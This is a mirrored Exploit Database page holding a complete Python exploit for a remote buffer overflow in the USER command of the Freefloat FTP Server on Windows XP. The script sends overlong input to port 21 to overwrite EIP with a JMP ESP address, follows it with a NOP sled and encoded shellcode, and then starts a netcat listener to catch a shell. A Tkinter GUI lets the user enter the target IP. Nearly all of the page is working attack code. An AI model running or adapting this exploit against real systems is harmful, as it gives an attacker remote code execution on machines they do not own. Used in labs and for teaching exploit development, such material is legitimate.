Freefloat FTP Server – ‘USER’ Remote Buffer Overflow

• Exploit Database
• 31 阅读

• 作者： D35m0nd142
  日期： 2012-12-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/23243/

• #Exploit title: FreeFloat FTP Server Remote Command Execution USER Command Buffer Overflow
  #Date: 06/12/2012
  #Exploit Author: D35m0nd142
  #Vendor Homepage: http://www.freefoat.com
  #Tested on Windows XP SP3 with Ubuntu 12.04
  #!/usr/bin/python
  import socket,sys,time,os
  import Tkinter,tkMessageBox
  os.system("clear")
  def exploit():
  	target = ip.get()
  	junk = "\x41" * 230 # Offest Number --> 230
  	eip = "\x53\x93\x37\x7E"# 0x7E379353 FFE4 JMP ESP
  	nops = "\x90" * 20
  	payload =("\xb8\xe9\x78\x9d\xdb\xda\xd2\xd9\x74\x24\xf4\x5e\x2b\xc9" +
  	"\xb1\x4f\x31\x46\x14\x83\xc6\x04\x03\x46\x10\x0b\x8d\x61" +
  	"\x33\x42\x6e\x9a\xc4\x34\xe6\x7f\xf5\x66\x9c\xf4\xa4\xb6" +
  	"\xd6\x59\x45\x3d\xba\x49\xde\x33\x13\x7d\x57\xf9\x45\xb0" +
  	"\x68\xcc\x49\x1e\xaa\x4f\x36\x5d\xff\xaf\x07\xae\xf2\xae" +	
  	"\x40\xd3\xfd\xe2\x19\x9f\xac\x12\x2d\xdd\x6c\x13\xe1\x69" +
  	"\xcc\x6b\x84\xae\xb9\xc1\x87\xfe\x12\x5e\xcf\xe6\x19\x38" +
  	"\xf0\x17\xcd\x5b\xcc\x5e\x7a\xaf\xa6\x60\xaa\xfe\x47\x53" +
  	"\x92\xac\x79\x5b\x1f\xad\xbe\x5c\xc0\xd8\xb4\x9e\x7d\xda" +
  	"\x0e\xdc\x59\x6f\x93\x46\x29\xd7\x77\x76\xfe\x81\xfc\x74" +	
  	"\x4b\xc6\x5b\x99\x4a\x0b\xd0\xa5\xc7\xaa\x37\x2c\x93\x88" +
  	"\x93\x74\x47\xb1\x82\xd0\x26\xce\xd5\xbd\x97\x6a\x9d\x2c" +
  	"\xc3\x0c\xfc\x38\x20\x22\xff\xb8\x2e\x35\x8c\x8a\xf1\xed" +
  	"\x1a\xa7\x7a\x2b\xdc\xc8\x50\x8b\x72\x37\x5b\xeb\x5b\xfc" +
  	"\x0f\xbb\xf3\xd5\x2f\x50\x04\xd9\xe5\xf6\x54\x75\x56\xb6" +	
  	"\x04\x35\x06\x5e\x4f\xba\x79\x7e\x70\x10\x0c\xb9\xe7\x5b" +
  	"\xa7\x44\x78\x33\xba\x46\x69\x98\x33\xa0\xe3\x30\x12\x7b" +
  	"\x9c\xa9\x3f\xf7\x3d\x35\xea\x9f\xde\xa4\x71\x5f\xa8\xd4" +
  	"\x2d\x08\xfd\x2b\x24\xdc\x13\x15\x9e\xc2\xe9\xc3\xd9\x46" +
  	"\x36\x30\xe7\x47\xbb\x0c\xc3\x57\x05\x8c\x4f\x03\xd9\xdb" +
  	"\x19\xfd\x9f\xb5\xeb\x57\x76\x69\xa2\x3f\x0f\x41\x75\x39" +
  	"\x10\x8c\x03\xa5\xa1\x79\x52\xda\x0e\xee\x52\xa3\x72\x8e" +
  	"\x9d\x7e\x37\xbe\xd7\x22\x1e\x57\xbe\xb7\x22\x3a\x41\x62" +
  	"\x60\x43\xc2\x86\x19\xb0\xda\xe3\x1c\xfc\x5c\x18\x6d\x6d" +
  	"\x09\x1e\xc2\x8e\x18")
  	sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  
  	try:
  		sock.connect((target,21))
  		print "\n\n[-] Sending exploit ..."
  		print sock.recv(2000)
  		sock.send("USER "+junk+eip+nops+payload+"\r\n")
  		sock.close()
  		os.system("nc -lvp 4444")
  	except:
  		print "[-] Connection to "+target+" failed! \n"
  		sys.exit(0)
  
  
  root=Tkinter.Tk()
  root.geometry("%dx%d" %(700,375))
  root.title("*** FreeFloat FTP Server Remote Code Execution USER Command Buffer Overflow***")
  root['bg'] = 'black'
  developer=Tkinter.Label(text="Developed by D35m0nd142").pack(side='bottom')
  ip_answer=Tkinter.Label(text="IP Address ").pack()
  ip=Tkinter.StringVar()
  ip_entry=Tkinter.Entry(textvariable=ip).pack()
  exploit=Tkinter.Button(text="Exploit",command=exploit).pack()
  root.mainloop()